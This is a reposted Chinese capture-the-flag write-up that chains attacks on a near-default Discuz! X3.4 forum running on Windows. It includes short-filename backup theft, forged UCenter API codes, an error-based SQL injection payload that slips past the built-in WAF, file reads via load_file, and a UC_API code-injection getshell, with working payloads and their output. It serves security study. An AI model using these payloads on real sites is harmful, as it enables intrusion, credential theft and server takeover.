

# 空指针-Base on windows Writeup -- 最新版DZ3.4实战渗透

原创

晓得哥 于 2020-05-13 11:09:57 发布 425 收藏

分类专栏: [晓得哥的技术之路](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/weixin\\_44058342/article/details/106092921](https://blog.csdn.net/weixin_44058342/article/details/106092921)

版权



程序,搞起来很轻松的  
就是头冷

[晓得哥的技术之路 专栏收录该内容](#)

28 篇文章 1 订阅

订阅专栏

作者: LoRexar'@知道创宇404实验室

时间: 2020年5月11日

原文地址: <https://paper.seebug.org/1197/>

周末看了一下这次空指针的第三次Web公开赛, 稍微研究了下发现这是一份最新版DZ3.4几乎默认配置的环境, 我们需要在这样一份几乎真实环境下的DZ中完成Get shell。这一下子提起了我的兴趣, 接下来我们就一起梳理下这个渗透过程。

与默认环境的区别是, 我们这次拥有两个额外的条件。

- 1、Web环境的后端为Windows
- 2、我们获得了一份config文件, 里面有最重要的authkey

得到这两个条件之后, 我们开始这次的渗透过程。

以下可能会多次提到的出题人写的DZ漏洞整理

[这是一篇“不一样”的真实渗透测试案例分析文章](#)

## authkey有什么用?

```
/ ----- CONFIG SECURITY ----- //  
$_config['security']['authkey'] = '87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E';
```

authkey是DZ安全体系里最重要的主密钥, 在DZ本体中, 涉及到密钥相关的, 基本都是用 **authkey** 和cookie中的saltkey加密构造的。

当我们拥有了这个authkey之后, 我们可以计算DZ本体各类操作相关的formhash (DZ所有POST相关的操作都需要计算formhash)

配合authkey, 我们可以配合 [source/include/misc/misc\\_emailcheck.php](#) 中的修改注册邮箱项来修改任意用户绑定的邮箱, 但管理员不能使用修改找回密码的api。

可以用下面的脚本计算formhash

```
$username = "ddog";
$uid = 51;
$saltkey = "SuPq5mmP";
$config_authkey = "87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E";
$authkey = md5($config_authkey.$saltkey);
$formhash = substr(md5(substr($t, 0, -7).$username.$uid.$authkey.""."" ), 8, 8);
```

当我们发现光靠authkey没办法进一步渗透的时候，我们把目标转回到hint上。

- 1、Web环境的后端为Windows
- 2、dz有正常的备份数据，备份数据里有重要的key值

## windows短文件名安全问题

在2019年8月，dz曾爆出过这样一个问题。

### windows短文件名安全问题 数据库备份爆破

在windows环境下，有许多特殊的有关通配符类型的文件名展示方法，其中不仅仅有 <>"这类可以做通配符的符号，还有类似于~的省略写法。这个问题由于问题的根在服务端，所以cms无法修复，所以这也就成了一个长久的问题存在。

具体的细节可以参考下面这篇文章：

### Windows下的"你画我猜" – 告别效率低下的目录扫描方法

配合这两篇文章，我们可以直接去读数据库的备份文件，这个备份文件存在

```
/data/backup_XXXXXX/200509_XXXXXX-1.sql
```

我们可以直接用

```
http://XXXXX/data/backup~1/200507~2.sql
```

拿到数据库文件

从数据库文件中，我们可以找到UC\_KEY(dz)

在 `pre_ucenter_applications` 的authkey字段找到UC\_KEY(dz)

至此我们得到了两个信息：

```
uckey
x9L1efE1ff17a407i158xcSbUfo1U2V7Lebef3g974YdG4w0E2LfI4s5R1p2t4m5
authkey
87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E
```

当我们有了这两个key之后，我们可以直接调用uc\_client的uc.php任意api。，后面的进一步利用也是建立在这个基础上。

## uc.php api 利用

这里我们主要关注 `/api/uc.php`

```
38
39  if(!defined('IN_UC')) {
40
41      require_once '../source/class/class_core.php';
42
43      $discuz = C::app();
44      $discuz->init();
45
46      require DISCUZ_ROOT.'./config/config_ucenter.php';
47
48      $get = $post = array();
49
50      $code = @$_GET['code'];
51      parse_str(authcode($code, 'DECODE', UC_KEY), $get);
52
53      if(time() - $get['time'] > 3600) {
54          exit('Authracation has expired');
55      }
56      if(empty($get)) {
57          exit('Invalid Request');
58      }
59
60      include_once DISCUZ_ROOT.'./uc_client/lib/xml_class.php';
61      $post = xml_unserialize(file_get_contents('php://input'));
62
63      if(in_array($get['action'], array('test', 'deleteuser', 'renameuser', '
        gettag', 'synlogin', 'synlogout', 'updatepw', 'updatebadwords', '
        updatehosts', 'updateapps', 'updateclient', 'updatecredit', 'getcredit
        ', 'getcreditsettings', 'updatecreditsettings', 'addfeed'))) {
64          $uc_note = new uc_note();
65          echo call_user_func(array($uc_note, $get['action']), $get, $post);
66          exit();
67      } else {
68          exit(API_RETURN_FAILED);
69      }
70  } else {
71      exit;
72  }
73
```

[https://blog.csdn.net/weixin\\_44058342](https://blog.csdn.net/weixin_44058342)

通过 UC\_KEY 来计算code，然后通过 authkey 计算formhash，我们就可以调用当前api下的任意函数，而在这个api下有几个比较重要的操作。

我们先把目光集中到 updateapps 上来，这个函数的特殊之处在于由于DZ直接使用 preg\_replace 替换了 UC\_API，可以导致后台的getshell。

具体详细分析可以看，这个漏洞最初来自于@dawu，我在CSS上的演讲中提到过这个后台getshell：

<https://paper.seebug.org/1144/#getwebshell>

<https://lorexar.cn/2020/01/14/css-mysql-chain/#%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB-with-%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%E6%B3%84%E9%9C%B2>

根据这里的操作，我们可以构造 \$code = 'time='.time().'&action=updateapps';

来触发updateapps，可以修改配置中的 UC\_API，但是在之前的某一个版本更新中，这里加入了条件限制。

```
if($post['UC_API']) {
    $UC_API = str_replace(array('\'', '"', '\\', "\0", "\n", "\r"), '', $post['UC_API']);
    unset($post['UC_API']);
}
```

由于过滤了单引号，导致我们注入的uc api不能闭合引号，所以单靠这里的api我们没办法完成getshell。

换言之，我们必须登录后台使用后台的修改功能，才能配合getshell。至此，我们的渗透目标改为如何进入后台。

## 如何进入DZ后台？

首先我们必须明白，DZ的前后台账户体系是分离的，包括uc api在内的多处功能，login都只能登录前台账户，

也就是说，进入DZ的后台的唯一办法就是必须知道DZ的后台密码，而这个密码是不能通过前台的忘记密码来修改的，所以我们需要寻找办法来修改密码。

这里主要有两种办法，也对应两种攻击思路：

- 1、配合报错注入的攻击链
- 2、使用数据库备份还原修改密码

## 1、配合报错注入的攻击链

继续研究uc.php，我在renameuser中找到一个注入点。

```
function renameuser($get, $post) {
    global $_G;

    if(!API_RENAMEUSER) {
        return API_RETURN_FORBIDDEN;
    }

    $tables = array(
        'common_block' => array('id' => 'uid', 'name' => 'username'),
        'common_invite' => array('id' => 'fuid', 'name' => 'fusername'),
        'common_member_verify_info' => array('id' => 'uid', 'name' => 'username'),
        'common_mytask' => array('id' => 'uid', 'name' => 'username'),
        'common_report' => array('id' => 'uid', 'name' => 'username'),

        'forum_thread' => array('id' => 'authorid', 'name' => 'author'),
        'forum_activityapply' => array('id' => 'uid', 'name' => 'username'),
        'forum_groupuser' => array('id' => 'uid', 'name' => 'username'),
        'forum_pollvoter' => array('id' => 'uid', 'name' => 'username'),
        'forum_post' => array('id' => 'authorid', 'name' => 'author'),
        'forum_postcomment' => array('id' => 'authorid', 'name' => 'author'),
        'forum_ratelog' => array('id' => 'uid', 'name' => 'username'),

        'home_album' => array('id' => 'uid', 'name' => 'username'),
        'home_blog' => array('id' => 'uid', 'name' => 'username'),
        'home_clickuser' => array('id' => 'uid', 'name' => 'username'),
        'home_docomment' => array('id' => 'uid', 'name' => 'username'),
        'home_doing' => array('id' => 'uid', 'name' => 'username'),
        'home_feed' => array('id' => 'uid', 'name' => 'username'),
        'home_feed_app' => array('id' => 'uid', 'name' => 'username'),
        'home_friend' => array('id' => 'fuid', 'name' => 'fusername'),
        'home_friend_request' => array('id' => 'fuid', 'name' => 'fusername'),
        'home_notification' => array('id' => 'authorid', 'name' => 'author'),
        'home_pic' => array('id' => 'uid', 'name' => 'username'),
        'home_poke' => array('id' => 'fromuid', 'name' => 'fromusername'),
        'home_share' => array('id' => 'uid', 'name' => 'username'),
        'home_show' => array('id' => 'uid', 'name' => 'username'),
        'home_specialuser' => array('id' => 'uid', 'name' => 'username'),
        'home_visitor' => array('id' => 'vuid', 'name' => 'vusername'),

        'portal_article_title' => array('id' => 'uid', 'name' => 'username'),
        'portal_comment' => array('id' => 'uid', 'name' => 'username'),
        'portal_topic' => array('id' => 'uid', 'name' => 'username'),
        'portal_topic_pic' => array('id' => 'uid', 'name' => 'username'),
    );
}
```

```

),

    if(!C::t('common_member')->update($get['uid'], array('username' => $get[newusername])) && isset($_G['setting']['membersplit'])){
        C::t('common_member_archive')->update($get['uid'], array('username' => $get[newusername]));
    }

    loadcache("posttableids");
    if($_G['cache']['posttableids']) {
        foreach($_G['cache']['posttableids'] AS $tableid) {
            $tables[getposttable($tableid)] = array('id' => 'authorid', 'name' => 'author');
        }
    }

    foreach($tables as $table => $conf) {
        DB::query("UPDATE ".DB::table($table).". SET `{$conf[name]}`='{$get[newusername]}' WHERE `{$conf[id]}`='$get[uid]'");
    }
    return API_RETURN_SUCCEED;
}

```

在函数的最下面，`$get[newusername]` 被直接拼接进了update语句中。

但可惜的是，这里链接数据库默认使用mysqli，并不支持堆叠注入，所以我们没办法直接在这里执行update语句来更新密码，这里我们只能构造报错注入来获取数据。

```

$code = 'time='.time().'&action=renameuser&uid=1&newusername=ddog\,name=(\'a\' or updatexml(1,concat(0x7e,(/*!0000select*/ substr(password,0) from pre_ucenter_members where uid = 1 limit 1)),0)),title=\'a\';

```

这里值得注意的是，DZ自带的注入waf挺奇怪的，核心逻辑在

```

\source\class\discuz\discuz_database.php line 375

if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false && strpos($sql, '@') === false && strpos($sql, '`') === false && strpos($sql, '"') === false) {
    $clean = preg_replace("/'(.+?)'/s", '', $sql);
} else {
    $len = strlen($sql);
    $mark = $clean = '';
    for ($i = 0; $i < $len; $i++) {
        $str = $sql[$i];
        switch ($str) {
            case '`':
                if (!$mark) {
                    $mark = '`';
                    $clean .= $str;
                } elseif ($mark == '`') {
                    $mark = '';
                }
                break;
            case '\':
                if (!$mark) {
                    $mark = '\\';
                    $clean .= $str;
                } elseif ($mark == '\\') {
                    $mark = '';
                }
                break;
            case '/':
                if (empty($mark) && $sql[$i + 1] == '*') {

```

```

        $mark = '/*';
        $clean .= $mark;
        $i++;
    } elseif ($mark == '/*' && $sql[$i - 1] == '*') {
        $mark = '';
        $clean .= '*';
    }
    break;
case '#':
    if (empty($mark)) {
        $mark = $str;
        $clean .= $str;
    }
    break;
case "\n":
    if ($mark == '#' || $mark == '--') {
        $mark = '';
    }
    break;
case '-':
    if (empty($mark) && substr($sql, $i, 3) == '-- ') {
        $mark = '-- ';
        $clean .= $mark;
    }
    break;

    default:
        break;
}
$clean .= $mark ? '' : $str;
}
}

if(strpos($clean, '@') !== false) {
    return '-3';
}

$clean = preg_replace("/^[a-z0-9_\-\(\)\#\*\\"/>

```

```

if (self::$config['dlikehex'] && strpos($clean, 'like0x')) {
    return '-2';
}

if (is_array(self::$config['dnote'])) {
    foreach (self::$config['dnote'] as $note) {
        if (strpos($clean, $note) !== false)
            return '-4';
    }
}
}

```

然后config中相关的配置为

```

$_config['security']['querysafe']['dfunction']['0'] = 'load_file';
$_config['security']['querysafe']['dfunction']['1'] = 'hex';
$_config['security']['querysafe']['dfunction']['2'] = 'substring';
$_config['security']['querysafe']['dfunction']['3'] = 'if';
$_config['security']['querysafe']['dfunction']['4'] = 'ord';
$_config['security']['querysafe']['dfunction']['5'] = 'char';
$_config['security']['querysafe']['daction']['0'] = '@';
$_config['security']['querysafe']['daction']['1'] = 'intooutfile';
$_config['security']['querysafe']['daction']['2'] = 'intodumpfile';
$_config['security']['querysafe']['daction']['3'] = 'unionselect';
$_config['security']['querysafe']['daction']['4'] = '(select';
$_config['security']['querysafe']['daction']['5'] = 'unionall';
$_config['security']['querysafe']['daction']['6'] = 'uniondistinct';
$_config['security']['querysafe']['dnote']['0'] = '/*';
$_config['security']['querysafe']['dnote']['1'] = '*/';
$_config['security']['querysafe']['dnote']['2'] = '#';
$_config['security']['querysafe']['dnote']['3'] = '--';
$_config['security']['querysafe']['dnote']['4'] = '"';

```

这道题目特殊的地方在于，他开启了 `afullnote`

```

if (self::$config['afullnote']) {
    $clean = str_replace('*/', '', $clean);
}

```

由于 `/**/` 被替换为空，所以我们可以直接用前面的逻辑把select加入到这中间，之后被替换为空，就可以绕过这里的判断。

当我们得到一个报错注入之后，我们尝试读取文件内容，发现由于mysql是 `5.5.29`，所以我们可以直接读取服务器上的任意文件。

```

$code = 'time='.time().'&action=renameuser&uid=1&newusername=ddog\',name=(\'a\' or updatexml(1,concat(0x7e,(/*!0000select*/ /*!0000load_file*/(\'c:/windows/win.ini\') limit 1)),0)),title=\'a';

```

思路走到这里出现了断层，因为我们没办法知道web路径在哪里，所以我们没办法直接读到web文件，这里我僵持了很久，最后还是因为第一个人做出题目后密码是弱密码，我直接查出来进了后台。

在事后回溯的过程中，发现还是有办法的，虽然说对于windows来说，web的路径很灵活，但是实际上对于集成环境来说，一般都安装在c盘下，而且一般人也不会去动服务端的路径。常见的windows集成环境主要有phpstudy和wamp，这两个路径分别为

```

- /wamp64/www/
- /phpstudy_pro/WWW/

```

找到相应的路径之后，我们可以读取 `\uc_server\data\config.inc.php` 得到uc server的 `UC_KEY`。

之后我们可以直接调用 `/uc_server/api/dpbak.php` 中定义的

```

function sid_encode($username) {
    $ip = $this->onlineip;
    $agent = $_SERVER['HTTP_USER_AGENT'];
    $authkey = md5($ip.$agent.UC_KEY);
    $check = substr(md5($ip.$agent), 0, 8);
    return rawurlencode($this->authcode("$username\t$check", 'ENCODE', $authkey, 1800));
}

function sid_decode($sid) {
    $ip = $this->onlineip;
    $agent = $_SERVER['HTTP_USER_AGENT'];
    $authkey = md5($ip.$agent.UC_KEY);
    $s = $this->authcode(rawurldecode($sid), 'DECODE', $authkey, 1800);
    if(empty($s)) {
        return FALSE;
    }
    @list($username, $check) = explode("\t", $s);
    if($check == substr(md5($ip.$agent), 0, 8)) {
        return $username;
    } else {
        return FALSE;
    }
}

```

构造管理员的sid来绕过权限验证，通过这种方式我们可以修改密码并登录后台。

## 2、使用数据库备份还原修改密码

事实上，当上一种攻击方式跟到uc server的 UC\_KEY 时，就不难发现，在 `/uc_server/api/dbbak.php` 中有许多关于数据库备份与恢复的操作，这也是我之前没发现的点。

事实上，在 `/api/dbbak.php` 就有一模一样的代码和功能，而那个api只需要DZ的 UC\_KEY 就可以操作，我们可以在前台找一个地方上传，然后调用备份恢复覆盖数据库文件，这样就可以修改管理员的密码。

## 后台getshell

登录了之后就比较简单了，首先



- 后台管理团队
- 邮件设置
- UCenter 设置
- 数据库
- 用户表优化
- 帖子分表
- 主题分表
- 优化大师

### UCenter 设置

#### 技巧提示

- 本设置在站点安装时自动生成，一般情况下请不要修改，修改前请备份 config/config\_ucenter.php 文件，以防止修改错误导致站点无法运行

#### UCenter 应用 ID:

1

该值为当前站点在 UCenter 的应用 ID，一般情况请不要改动

#### UCenter 通信密钥:

\*\*\*\*\*

通信密钥用于在 UCenter 和 Discuz! 之间传输信息的加密，可包含任何字母及数字，请在 UCenter 与 Discuz! 中保持一致

#### UCenter 访问地址:

http://127.0.0.1/uc\_server

如果您的 UCenter 访问地址发生了改变，请修改此项。不正确的设置可能导致站点功能异常，请小心修改。格式：http://www.sitename.com/uc\_server (最后不要加'/')

#### UCenter IP 地址:

如果您的服务器无法通过域名访问 UCenter，可以输入 UCenter 服务器的 IP 地址

#### UCenter 连接方式:

数据库方式

采用接口方式时，站点和 Ucenter 通信采用远程方式，如果您的服务器环境支持，我们推荐您使用它。数据库方式则为本地数据库连接

修改uc api 为

```
http://127.0.0.1/uc_server');phpinfo();//
```

然后使用预先准备poc更新uc api

```
127.0.0.1/ctest/dz_exp.php  
D:\wamp64\www\ctest\dz_exp.php:60:string 'time=1589048590&action=updateapps' (length=33)  
D:\wamp64\www\ctest\dz_exp.php:87:string 'http://127.0.0.1/uc_server');phpinfo();//' (length=11)  
11
```

这里返回11就可以了

PHP Version 7.3.12	
System	Windows NT DESKTOP-1QBG1JL 10.0 build 18362 (Windows 10) AMD64
Build Date	Nov 19 2019 13:50:18
Compiler	MSVC15 (Visual C++ 2017)
Architecture	x64
Configure Command	cmd /c cscript /nologo configure.js "--enable-snapshot-build" "--enable-debug-pack" "--with-pdo-oci=... snap-build\deps_aux\oracle\x64\instantclient_12_1\sdk\shared" "--with-oci8-12c=c:\php-snap-build\deps_aux\oracle\x64\instantclient_12_1\sdk\shared" "--enable-object-out-dir=.\obj" "--enable-com-dotnet=shared" "--without-analyzer" "--with-pgo"
Server API	Apache 2.0 Handler
Virtual Directory Support	enabled
Configuration File (php.ini) Path	C:\windows
Loaded Configuration File	D:\wamp64\bin\apache\apache2.4.41\bin\php.ini
Scan this dir for additional .ini files	(none)
Additional .ini files parsed	(none)
PHP API	20180731
PHP Extension	20180731
Zend Extension	320180731
Zend Extension Build	API320180731.TS.VC15

## 写在最后

整道题目主要围绕的DZ的核心密钥安全体系，实际上除了在windows环境下，几乎没有其他的特异条件，再加上短文件名问题原因主要在服务端，我们很容易找到备份文件，在找到备份文件之后，我们可以直接从数据库获得最重要的authkey和uc key，接下来的渗透过程就顺理成章了。

从这篇文章中，你也可以窥得在不同情况下利用方式得拓展，配合原文阅读可以获得更多的思路。

## REF

<https://paper.seebug.org/1144/>

<https://lorexxar.cn/2020/01/14/css-mysql-chain/#%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB-with-%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%E6%B3%84%E9%9C%B2>

<https://lorexxar.cn/2017/08/31/dz-authkey/>